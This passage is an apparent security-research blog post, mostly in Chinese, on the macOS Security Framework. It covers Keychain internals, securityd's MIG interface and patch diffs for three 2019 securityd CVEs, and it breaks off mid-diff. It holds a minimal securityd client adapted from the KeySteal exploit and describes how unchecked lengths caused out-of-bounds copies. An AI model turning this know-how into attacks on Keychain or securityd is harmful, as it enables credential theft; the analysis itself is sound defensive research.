<h2 id="Security-Framework"><a href="#Security-Framework" class="headerlink" title="Security Framework"></a>Security Framework</h2><p>Security framework is responsible for providing authentication and authorization, secure data storage and transportation, code signing, encryption&#x2F;decryption services. Apps can use this services by using API of Security framework directly without knowing or caring about its implementation details.</p>
<img src="/2020/02/26/macOS-Security-Framework-and-Previous-CVEs-EN/security-framework.png" class="" title="Image">
<p>But what are the components which composes the Security framework, and how the components collaborate with each other?</p></summary>
<category term="macOS" scheme="https://rekken.github.io/tags/macOS/"/>
</entry>
<entry>
<title>macOS Security Framework and previous CVEs</title>
<link href="https://rekken.github.io/2020/02/26/macOS-Security-Framework-and-Previous-CVEs-CN/"/>
<id>https://rekken.github.io/2020/02/26/macOS-Security-Framework-and-Previous-CVEs-CN/</id>
<published>2020-02-26T08:59:00.000Z</published>
<updated>2020-12-25T06:27:36.000Z</updated>
<content type="html"><![CDATA[<p>Yuebin Sun(<a href="https://twitter.com/yuebinsun2020">@yuebinsun2020</a>) of Tencent Security Xuanwu Lab</p><h2 id="摘要"><a href="#摘要" class="headerlink" title="摘要"></a>摘要</h2><p>新冠病毒疫情出不了门,在家办公这两周笔者研究了一下 macOS 的 Security Framework。</p><p>本文主要分析 Security Framework 尤其是其中 Keychain 的架构,将 Security Framework 近一两年的历史漏洞做个整理。</p><h2 id="Security-Framework-简介"><a href="#Security-Framework-简介" class="headerlink" title="Security Framework 简介"></a>Security Framework 简介</h2><p>Security Framework 主要负责为 App 提供认证与授权、安全数据存储与传输(Keychain,App Transport Security)、代码签名、加密解密功能。</p><p>第三方 App 通过引用 Security Framework,使用 Apple 提供的 API 就可以直接使用这些功能,不用关心底层实现的细节。</p><img src="/2020/02/26/macOS-Security-Framework-and-Previous-CVEs-CN/security-framework.png" class="" title="Image"><p>但 Security Framework 都有哪些组件,又是如何构建起来的呢?</p><span id="more"></span><p>官方最近已经不再更新整体的架构图了,在 [Mac OS X Internals] 书里找到了一张整体架构图,目前来看重要组件的变化不是特别大,可以用来参考</p><img src="/2020/02/26/macOS-Security-Framework-and-Previous-CVEs-CN/csda-of-macos.png" class="" title="Image"><h2 id="Keychain"><a href="#Keychain" class="headerlink" title="Keychain"></a>Keychain</h2><p>Keychain 是 Security Framework 的重要组件,系统中保存的 WiFi 密码、Safari 保存的网站密码等都由 Keychain 组件负责管理。</p><p>Keychain 最早在 Mac OS 8.6 版本被引入,用于保存邮件系统(PowerTalk)的邮件服务器的登录凭据。现在的 Keychain 组件已经扩展了很多,可用于保存密码、加密密钥、证书以及 Notes,被 Apple 自身以及众多第三方应用使用。</p><img src="/2020/02/26/macOS-Security-Framework-and-Previous-CVEs-CN/keychain.png" class="" title="Image"><p>iOS 与 macOS 系统中的 Keychain 略微有些差异,iOS 中只有一个 Keychain,设备解锁状态时 Keychain 可以访问,设备锁定状态时 Keychain 也处于锁定状态。macOS 则不同,macOS 系统允许用户自己创建任意的 Keychain 用于私有使用,Security Framework 提供了 SecKeychain{Create, Delete, Open,…} API 用于 macOS 用户管理 Keychain。</p><p>默认状态下,macOS 系统中存在两个 Keychain:</p><ul><li>~/Library/Keychains/login.keychain-db</li><li>/Library/Keychains/System.keychain</li></ul><p>其中 login Keychain 在 macOS 解锁状态时就会被解密,System.keychain 密钥保存在 /var/db/SystemKey,只有 root 用户可以访问。</p><p>具体目前系统中保存的 Keychain 以及存储的信息列表可以通过 macOS 的 Keychain Access.app 应用访问并查看。</p><h3 id="如何用-Keychain-存储一个网站密码"><a href="#如何用-Keychain-存储一个网站密码" class="headerlink" title="如何用 Keychain 存储一个网站密码"></a>如何用 Keychain 存储一个网站密码</h3><p>Apple 官网文档如下示例代码可以实现向 Kaychain 中存储一个网站的密码。</p><figure class="highlight objc"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">static</span> let server = <span class="string">"www.example.com"</span></span><br><span class="line">let account = credentials.username</span><br><span class="line">let password = credentials.password.data(using: String.Encoding.utf8)!</span><br><span class="line">var query: [String: Any] = [kSecClass as String: kSecClassInternetPassword,</span><br><span class="line"> kSecAttrAccount as String: account,</span><br><span class="line"> kSecAttrServer as String: server,</span><br><span class="line"> kSecValueData as String: password]</span><br><span class="line">let status = SecItemAdd(query as <span class="built_in">CFDictionary</span>, <span class="literal">nil</span>)</span><br></pre></td></tr></table></figure><p>其中核心的就是 SecItemAdd 这个 API,接下来我们将一步步分析这个 API 是如何实现的。</p><p>抽象的看,保存在 query 变量中的数据通过 SecItemAdd API 传递给 Keychain Service,服务进一步会将 query 数据封装为 Keychain Item,对于其中的 password 则会被加密,Keychain Item 进一步会被保存到磁盘的 Keychain Database。</p><img src="/2020/02/26/macOS-Security-Framework-and-Previous-CVEs-CN/keychain-item-to-db.png" class="" title="Image"><p>如果从组件的角度看,SecItemAdd API 由 Security 共享库(Security Framework 的一部分,此处为了与 Security Framework 作区分所以叫共享库,/System/Library/Frameworks/Security.framework/Versions/A/Security)实现,Security 共享库会被加载进当前 App 进程,SecItemAdd API 收到数据后,进一步通过 SECURITYD_XPC 宏,将 API 调用转发至 com.apple.securityd.xpc XPC 服务,该服务位于 secd 进程,secd 以当前用户身份运行。</p><img src="/2020/02/26/macOS-Security-Framework-and-Previous-CVEs-CN/secitemadd_to_xpc.png" class="" title="Image"><img src="/2020/02/26/macOS-Security-Framework-and-Previous-CVEs-CN/keychain_api_and_secd.jpg" class="" title="Image"><p>进入 secd 进程之后,会根据 operation 进入到服务消息分发 handler(securityd_xpc_dictionary_handler)(代码已被精简),对于 SecItemAdd,operation 为 sec_item_add_id,保存新增数据的 query 会被直接传递给 _SecItemAdd,除了 query 还有重要的数据结构 SecurityClient 结构体,SecurityClient 用于在后续的数据处理流程中支持访问控制检查,其中的 accessGroups 用于实现在 Web(Safari)和同一个团队开发的 App 之间共享密码,核心就是 Web 与 App 通过 Associated Domains Entitlement 关联,感兴趣可以参考 <a href="https://developer.apple.com/documentation/safariservices/supporting_associated_domains_in_your_app?language=objc">Supporting Associated Domains in Your App</a></p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">static</span> <span class="type">void</span> <span class="title">securityd_xpc_dictionary_handler</span><span class="params">(<span class="type">const</span> <span class="type">xpc_connection_t</span> connection, <span class="type">xpc_object_t</span> event)</span> </span>{</span><br><span class="line"> SecurityClient client = {</span><br><span class="line"> .task = <span class="literal">NULL</span>,</span><br><span class="line"> .accessGroups = <span class="literal">NULL</span>,</span><br><span class="line"> .musr = <span class="literal">NULL</span>,</span><br><span class="line"> .uid = <span class="built_in">xpc_connection_get_euid</span>(connection),</span><br><span class="line"> .allowSystemKeychain = <span class="literal">false</span>,</span><br><span class="line"> .allowSyncBubbleKeychain = <span class="literal">false</span>,</span><br><span class="line"> .isNetworkExtension = <span class="literal">false</span>,</span><br><span class="line"> .canAccessNetworkExtensionAccessGroups = <span class="literal">false</span>,</span><br><span class="line"> };</span><br><span class="line"> <span class="built_in">fill_security_client</span>(&client, <span class="built_in">xpc_connection_get_euid</span>(connection), auditToken));</span><br><span class="line"> <span class="keyword">switch</span> (operation)</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">case</span> sec_item_add_id:</span><br><span class="line"> {</span><br><span class="line"> _SecItemAdd(query, &client, &result, &error) && result);</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">// ...</span></span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>_SecItemAdd 内部就会将 query 数据转化为 Sqlite 的数据库增、删、改、查操作,最终实现对我们传递 query 的 item 插入操作。插入 sqlite3 的数据,password 会被加密。同时为了支持搜索,其他一些非私密数据会保持明文,这样可以支持对 keychain 数据库条目的搜索。至此 SecItemAdd API 新增网站密码的流程就结束了。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">static</span> CFStringRef <span class="title">SecDbItemCopyInsertSQL</span><span class="params">(SecDbItemRef item, <span class="type">bool</span>(^use_attr)(<span class="type">const</span> SecDbAttr *attr))</span> </span>{</span><br><span class="line"> CFMutableStringRef sql = <span class="built_in">CFStringCreateMutable</span>(<span class="built_in">CFGetAllocator</span>(item), <span class="number">0</span>);</span><br><span class="line"> <span class="built_in">CFStringAppend</span>(sql, <span class="built_in">CFSTR</span>(<span class="string">"INSERT INTO "</span>));</span><br><span class="line"> <span class="built_in">CFStringAppend</span>(sql, item-><span class="keyword">class</span>->name);</span><br><span class="line"> <span class="built_in">CFStringAppend</span>(sql, <span class="built_in">CFSTR</span>(<span class="string">"("</span>));</span><br><span class="line"> <span class="type">bool</span> needComma = <span class="literal">false</span>;</span><br><span class="line"> CFIndex used_attr = <span class="number">0</span>;</span><br><span class="line"> <span class="built_in">SecDbForEachAttr</span>(item-><span class="keyword">class</span>, attr) {</span><br><span class="line"> <span class="keyword">if</span> (<span class="built_in">use_attr</span>(attr)) {</span><br><span class="line"> ++used_attr;</span><br><span class="line"> <span class="built_in">SecDbAppendElement</span>(sql, attr->name, &needComma);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="built_in">CFStringAppend</span>(sql, <span class="built_in">CFSTR</span>(<span class="string">")VALUES(?"</span>));</span><br><span class="line"> <span class="keyword">while</span> (used_attr-- > <span class="number">1</span>) {</span><br><span class="line"> <span class="built_in">CFStringAppend</span>(sql, <span class="built_in">CFSTR</span>(<span class="string">",?"</span>));</span><br><span class="line"> }</span><br><span class="line"> <span class="built_in">CFStringAppend</span>(sql, <span class="built_in">CFSTR</span>(<span class="string">")"</span>));</span><br><span class="line"> <span class="keyword">return</span> sql;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>Safari 保存的这部分网站密码会被保存到 login keychain 数据库中,login keychain 等用户注销或者关机等操作时会被加密锁定。</p><h2 id="SecurityServer-与-SecurityAgent"><a href="#SecurityServer-与-SecurityAgent" class="headerlink" title="SecurityServer 与 SecurityAgent"></a>SecurityServer 与 SecurityAgent</h2><p>系统的 login Keychain 在系统处于解锁状态时就会自动解锁,所以上面保存网站密码时并没有涉及 keychain 的解密或解锁过程。</p><p>然而对于 System Keychain 或者时自己创建的 Keychain,这就涉及到 Keychain 数据库的加解锁、加解密处理,此时就需要 Security Server 的参与。</p><p>Security Server(/usr/sbin/securityd) 是一个 root 身份独立运行的 daemon 服务进程,如最上面的整体架构图所示,CDSA 架构中,Security Server 为 CDSA 架构提供了 CSP/DL Plugin,即负责数据的安全加密与存储。</p><p>Security Server 通过 ucsp MIG 接口提供服务,用于 client 访问 SecurityServer 内部对象。普通用户进程就可以访问此 MIG 接口。从源码中看这个服务提供了以下功能:</p><ul><li>管理请求 Security Server 的 clients(session、connection)</li><li>认证(Authentication)和授权(Authrization)的管理</li><li>Keychain 数据库的管理,包括锁定、解锁、数据加密、数据库的创建与修改</li><li>数据签名(Signature)的生成和验证</li><li>数据的加密和解密(ucsp_server_encrypt, ucsp_server_decrypt)</li><li>Key、key pair 的生成(ucsp_server_generateKey, ucsp_server_generateKeyPair、ucsp_server_wrapKey, ucsp_server_unwrapKey)</li><li>Code Signing Hosting(近几天公开的 10.15 版本源码中已经删除相关接口,暂未深入确认)</li></ul><p>可以看出 root 身份运行的 Security Server(securityd) 提供了很多高权限的敏感操作,同时也管理着大量敏感数据,因此如果可以发现这个服务进程的漏洞,那么影响也将非常大,KeySteal 就是利用该服务的漏洞实现无需密码验证访问 Keychain 保存的密码。</p><p>那么如何通过 MIG 接口与他交互呢?</p><p>在 Security 的源码中就包含了这个 ucsp MIG 接口的定义文件(OSX/libsecurityd/mig/ucsp.defs)。但很可惜,介绍 MIG 使用的文档很少,直接访问 Security Server 的文档更是没有。最终,我从 Linus Henze 写的 <a href="https://github.com/LinusHenze/Keysteal">KeySteal Exploit</a> 代码中精简了一个访问 ucsp_server_setup 接口的 Client。</p><p>通过 mig 命令行工具生成 ucspUser.c 以及 ucspServer.c 接口定义源码,解决完编译依赖的头文件定义之后,就可以通过如下的示例测试代码访问 ucsp_server_setup 接口。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">define</span> UCSP_ARGS gServerPort, gReplyPort, &securitydCreds, &rcode</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> ATTRDATA(attr) (void *)(attr), (attr) ? strlen((attr)) : 0</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> CALL(func) \</span></span><br><span class="line"><span class="meta"> security_token_t securitydCreds; \</span></span><br><span class="line"><span class="meta"> CSSM_RETURN rcode; \</span></span><br><span class="line"><span class="meta"> <span class="keyword">if</span> (KERN_SUCCESS != func) \</span></span><br><span class="line"><span class="meta"> return errSecCSInternalError; \</span></span><br><span class="line"><span class="meta"> <span class="keyword">if</span> (securitydCreds.val[0] != 0) \</span></span><br><span class="line"><span class="meta"> return CSSM_ERRCODE_VERIFICATION_FAILURE; \</span></span><br><span class="line"><span class="meta"> return rcode</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> SSPROTOVERSION 20000</span></span><br><span class="line"></span><br><span class="line"><span class="type">mach_port_t</span> gServerPort;</span><br><span class="line"><span class="type">mach_port_t</span> gReplyPort;</span><br><span class="line"></span><br><span class="line"><span class="function">CSSM_RETURN <span class="title">securityd_setup</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="built_in">mach_port_allocate</span>(<span class="built_in">mach_task_self</span>(), MACH_PORT_RIGHT_RECEIVE, &gReplyPort);</span><br><span class="line"> <span class="built_in">mach_port_insert_right</span>(<span class="built_in">mach_task_self</span>(), gReplyPort, gReplyPort, MACH_MSG_TYPE_MAKE_SEND);</span><br><span class="line"> <span class="built_in">bootstrap_look_up</span>(bootstrap_port, (<span class="type">char</span>*)<span class="string">"com.apple.SecurityServer"</span>, &gServerPort);</span><br><span class="line"> ClientSetupInfo info = { <span class="number">0x1234</span>, SSPROTOVERSION };</span><br><span class="line"> <span class="built_in">CALL</span>(<span class="built_in">ucsp_client_setup</span>(UCSP_ARGS, <span class="built_in">mach_task_self</span>(), info, <span class="string">"?:unspecified"</span>));</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">char</span> *argv[])</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="type">mach_port_t</span> port;</span><br><span class="line"> <span class="type">mach_port_t</span> bootstrap_port;</span><br><span class="line"> <span class="built_in">task_get_bootstrap_port</span>(<span class="built_in">mach_task_self</span>(), &bootstrap_port);</span><br><span class="line"> <span class="type">kern_return_t</span> kr = <span class="built_in">bootstrap_look_up</span>(bootstrap_port, <span class="string">"com.apple.SecurityServer"</span>, &port);</span><br><span class="line"> <span class="built_in">securityd_setup</span>();</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h3 id="SecurityAgent"><a href="#SecurityAgent" class="headerlink" title="SecurityAgent"></a>SecurityAgent</h3><p>上面的介绍中提到,Security Server 还负责认证(Authentication)和授权(Authroization)。</p><img src="/2020/02/26/macOS-Security-Framework-and-Previous-CVEs-CN/auth_security_agent.png" class="" title="Image"><p>当 Client 请求 Security Server 发起认证(Authentication)和授权(Authroization)验证时。如果需要与用户交互(输入密码)以验证身份,Security Server 就会通过 XPC 与 Security Agent(当前用户身份运行)通信,由 Security Agent 负责弹框与用户交互。用户输入的密码凭据信息由 Security Server 接收并管理,Client 只会收到验证或授权结果的消息。这个保证整个验证过程中 Client 不会接触密码等敏感信息,同时,这种机制也可以保证如果系统增加新的身份验证或鉴权扩展时,对 client 是透明的。</p><img src="/2020/02/26/macOS-Security-Framework-and-Previous-CVEs-CN/securityd_securityagent.jpg" class="" title="Image"><h2 id="10-14-版本至今的历史漏洞分析"><a href="#10-14-版本至今的历史漏洞分析" class="headerlink" title="10.14 版本至今的历史漏洞分析"></a>10.14 版本至今的历史漏洞分析</h2><p>了解完了上面的一些必要的系统架构内容外,我们来继续看看 macOS 10.14 版本至今的涉及 Security 框架的漏洞,方便读者朋友了解漏洞的原理以及漏洞所在的组件。</p><p>需要说明的是,因为 Apple 官方在每次漏洞修复后并不会提供漏洞的详细信息,所以以下这些都是我根据源码自己分析整理的,这也意味着整理的结果可能不一定正确,如果您发现有错误或疏漏,请不吝指出。</p><h3 id="CVE-2019-8604(10-14-5-版本修复)"><a href="#CVE-2019-8604(10-14-5-版本修复)" class="headerlink" title="CVE-2019-8604(10.14.5 版本修复)"></a>CVE-2019-8604(10.14.5 版本修复)</h3><p>通过对比两个版本之间的源码,发现 CVE-2019-8604 漏洞的补丁。</p><p>这个漏洞在 securityd(Security Server Daemon) 中,securityd 提供的 MIG 接口在处理 client 端传递的 dbname 时,只有 assert 检查,而 assert 在 Release 版本是不存在的,因此,client 传递一个超长的字符串(长度超过 PATH_MAX),ucsp_server_getDbName 接口就会触发 memcpy 内存越界拷贝。</p><figure class="highlight diff"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">--- a/Security-58286.251.4/securityd/src/transition.cpp</span></span><br><span class="line"><span class="comment">+++ b/Security-58286.260.20/securityd/src/transition.cpp</span></span><br><span class="line"></span><br><span class="line"><span class="addition">+static void checkPathLength(char const *str) {</span></span><br><span class="line"><span class="addition">+ if (strlen(str) >= PATH_MAX) {</span></span><br><span class="line"><span class="addition">+ secerror("SecServer: path too long");</span></span><br><span class="line"><span class="addition">+ CssmError::throwMe(CSSMERR_CSSM_MEMORY_ERROR);</span></span><br><span class="line"><span class="addition">+ }</span></span><br><span class="line"><span class="addition">+}</span></span><br><span class="line"><span class="addition">+</span></span><br><span class="line"></span><br><span class="line"><span class="meta">@@ -306,15 +313,16 @@</span> kern_return_t ucsp_server_getDbName(UCSP_ARGS, DbHandle db, char name[PATH_MAX])</span><br><span class="line"> {</span><br><span class="line"> BEGIN_IPC(getDbName)</span><br><span class="line"> string result = Server::database(db)->dbName();</span><br><span class="line"><span class="deletion">- assert(result.length() < PATH_MAX);</span></span><br><span class="line"><span class="addition">+ checkPathLength(result.c_str());</span></span><br><span class="line"> memcpy(name, result.c_str(), result.length() + 1);</span><br><span class="line"></span><br><span class="line"> END_IPC(DL)</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> kern_return_t ucsp_server_setDbName(UCSP_ARGS, DbHandle db, const char *name)</span><br><span class="line"> {</span><br><span class="line"> BEGIN_IPC(setDbName)</span><br><span class="line"><span class="addition">+ checkPathLength(name);</span></span><br><span class="line"> Server::database(db)->dbName(name);</span><br><span class="line"> END_IPC(DL)</span><br><span class="line"> }</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>补丁中,在 ucsp_server_{get, set}DbName 中新增对路径名字的检查(checkPathLength),防止超长的 dbName 溢出固定长度(PATH_MAX)的 name。</p><p>因为 std::string 与 strlen 都会被且仅能被 “\0” 截断,所以 setDbName 与 getDbName 的处理方式就一致了。</p><h3 id="CVE-2019-8520-(10-14-4-版本修复)"><a href="#CVE-2019-8520-(10-14-4-版本修复)" class="headerlink" title="CVE-2019-8520 (10.14.4 版本修复)"></a>CVE-2019-8520 (10.14.4 版本修复)</h3><p>通过对比两个版本之间的源码,发现了 CVE-2019-8520 漏洞的补丁。</p><p>该漏洞位于 Security Server Daemon(securityd) 中,securityd(root) 负责处理系统中的管理系统中的 Authroization 和 Authentication,认证或者授权过程中,如果需要与用户交互(输入密码)以验证身份,securityd 就会通过 XPC 与 Security Agent(当前用户身份运行)通信,由 Security Agent 负责弹框与用户交互。</p><p>这个漏洞就出现在 securityd 与 Security Agent 的交互过程,securityd 在接收来自 Security Agent 的数据时,通过 XPC 传入 data,data 的长度为 length,另外通过另一个字段传入 sensitivelength,拷贝的时候,从 data 的起始位置拷贝长度为 sensitivelength 的内容到新创建的 dataCopy,因此,如果传入一个超长的 sensitivelength,超过上面传入的 data 的实际长度,将导致 data 的越界拷贝,会越界读取 data 变量之后的内存。</p><figure class="highlight diff"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">--- a/Security-58286.240.4/securityd/src/agentquery.cpp</span></span><br><span class="line"><span class="comment">+++ b/Security-58286.251.4/securityd/src/agentquery.cpp</span></span><br><span class="line"></span><br><span class="line">static void xpcArrayToAuthItemSet(AuthItemSet *setToBuild, xpc_object_t input) {</span><br><span class="line"> setToBuild->clear();</span><br><span class="line"></span><br><span class="line"> xpc_array_apply(input, ^bool(size_t index, xpc_object_t item) {</span><br><span class="line"> const char *name = xpc_dictionary_get_string(item, AUTH_XPC_ITEM_NAME);</span><br><span class="line"></span><br><span class="line"> size_t length;</span><br><span class="line"> const void *data = xpc_dictionary_get_data(item, AUTH_XPC_ITEM_VALUE, &length);</span><br><span class="line"> void *dataCopy = 0;</span><br><span class="line"></span><br><span class="line"> // <rdar://problem/13033889> authd is holding on to multiple copies of my password in the clear</span><br><span class="line"> bool sensitive = xpc_dictionary_get_value(item, AUTH_XPC_ITEM_SENSITIVE_VALUE_LENGTH);</span><br><span class="line"> if (sensitive) {</span><br><span class="line"> size_t sensitiveLength = (size_t)xpc_dictionary_get_uint64(item, AUTH_XPC_ITEM_SENSITIVE_VALUE_LENGTH);</span><br><span class="line"><span class="addition">+ if (sensitiveLength > length) {</span></span><br><span class="line"><span class="addition">+ secnotice("SecurityAgentXPCQuery", "Sensitive data len %zu is not valid", sensitiveLength);</span></span><br><span class="line"><span class="addition">+ return true;</span></span><br><span class="line"><span class="addition">+ }</span></span><br><span class="line"> dataCopy = malloc(sensitiveLength);</span><br><span class="line"> memcpy(dataCopy, data, sensitiveLength);</span><br><span class="line"> memset_s((void *)data, length, 0, sensitiveLength); // clear the sensitive data, memset_s is never optimized away</span><br><span class="line"> length = sensitiveLength;</span><br><span class="line"> } else {</span><br><span class="line"> dataCopy = malloc(length);</span><br><span class="line"> memcpy(dataCopy, data, length);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> uint64_t flags = xpc_dictionary_get_uint64(item, AUTH_XPC_ITEM_FLAGS);</span><br><span class="line"> AuthItemRef nextItem(name, AuthValueOverlay((uint32_t)length, dataCopy), (uint32_t)flags);</span><br><span class="line"> setToBuild->insert(nextItem);</span><br><span class="line"> memset(dataCopy, 0, length); // The authorization items contain things like passwords, so wiping clean is important.</span><br><span class="line"> free(dataCopy);</span><br><span class="line"> return true;</span><br><span class="line"> });</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>漏洞的修复逻辑就是加了一个对 sensitiveLength 的长度检查,保证 memcpy 的长度不超过 data。</p><h3 id="CVE-2019-8526(10-14-4-版本修复)"><a href="#CVE-2019-8526(10-14-4-版本修复)" class="headerlink" title="CVE-2019-8526(10.14.4 版本修复)"></a>CVE-2019-8526(10.14.4 版本修复)</h3><p>通过比对代码,发现了补丁。</p><figure class="highlight diff"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="comment">--- a/Security-58286.240.4/securityd/src/child.cpp</span></span><br><span class="line"><span class="comment">+++ b/Security-58286.251.4/securityd/src/child.cpp</span></span><br><span class="line"><span class="meta">@@ -57,7 +57,7 @@</span> ServerChild::ServerChild()</span><br><span class="line"> //</span><br><span class="line"> ServerChild::~ServerChild()</span><br><span class="line"> {</span><br><span class="line"><span class="deletion">- mServicePort.destroy();</span></span><br><span class="line"><span class="addition">+ mServicePort.deallocate();</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">--- a/Security-58286.240.4/securityd/src/clientid.cpp</span></span><br><span class="line"><span class="comment">+++ b/Security-58286.251.4/securityd/src/clientid.cpp</span></span><br><span class="line"><span class="meta">@@ -45,14 +45,18 @@</span> ClientIdentification::ClientIdentification()</span><br><span class="line"> // Initialize the ClientIdentification.</span><br><span class="line"> // This creates a process-level code object for the client.</span><br><span class="line"> //</span><br><span class="line"><span class="deletion">-void ClientIdentification::setup(pid_t pid)</span></span><br><span class="line"><span class="addition">+void ClientIdentification::setup(Security::CommonCriteria::AuditToken const &audit)</span></span><br><span class="line"> {</span><br><span class="line"> StLock<Mutex> _(mLock);</span><br><span class="line"> StLock<Mutex> __(mValidityCheckLock);</span><br><span class="line"><span class="deletion">- OSStatus rc = SecCodeCreateWithPID(pid, kSecCSDefaultFlags, &mClientProcess.aref());</span></span><br><span class="line"><span class="deletion">- if (rc)</span></span><br><span class="line"><span class="deletion">- secinfo("clientid", 